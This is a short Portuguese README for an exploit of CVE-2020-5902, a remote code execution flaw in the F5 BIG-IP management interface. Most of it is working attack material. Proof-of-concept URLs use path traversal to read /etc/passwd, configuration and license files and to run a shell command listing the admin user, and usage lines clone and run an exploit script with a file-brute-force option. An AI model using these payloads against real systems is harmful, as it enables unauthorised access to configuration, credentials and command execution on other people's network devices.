CVE-2020-5902

código de exploit para F5-Big-IP (CVE-2020-5902)

Resumo

Nas versões BIG-IP 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 e 11.6.1-11.6.5.1, a Interface de Usuário de Gerenciamento de Tráfego (TMUI), também chamada de utilitário de Configuração, possui uma vulnerabilidade de Execução Remota de Código (RCE) em páginas não divulgadas.

Prova de conceito

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

Uso

$ git clone https://github.com/yasserjanah/CVE-2020-5902

$ cd CVE-2020-5902/

$ pip3 install -r ./requirements.txt

$ python3 exploit-CVE-2020-5902.py -ip <IP> -f /etc/passwd

-b para força bruta em arquivos a partir de uma wordlist

$ python3 exploit-CVE-2020-5902.py -ip <IP> -b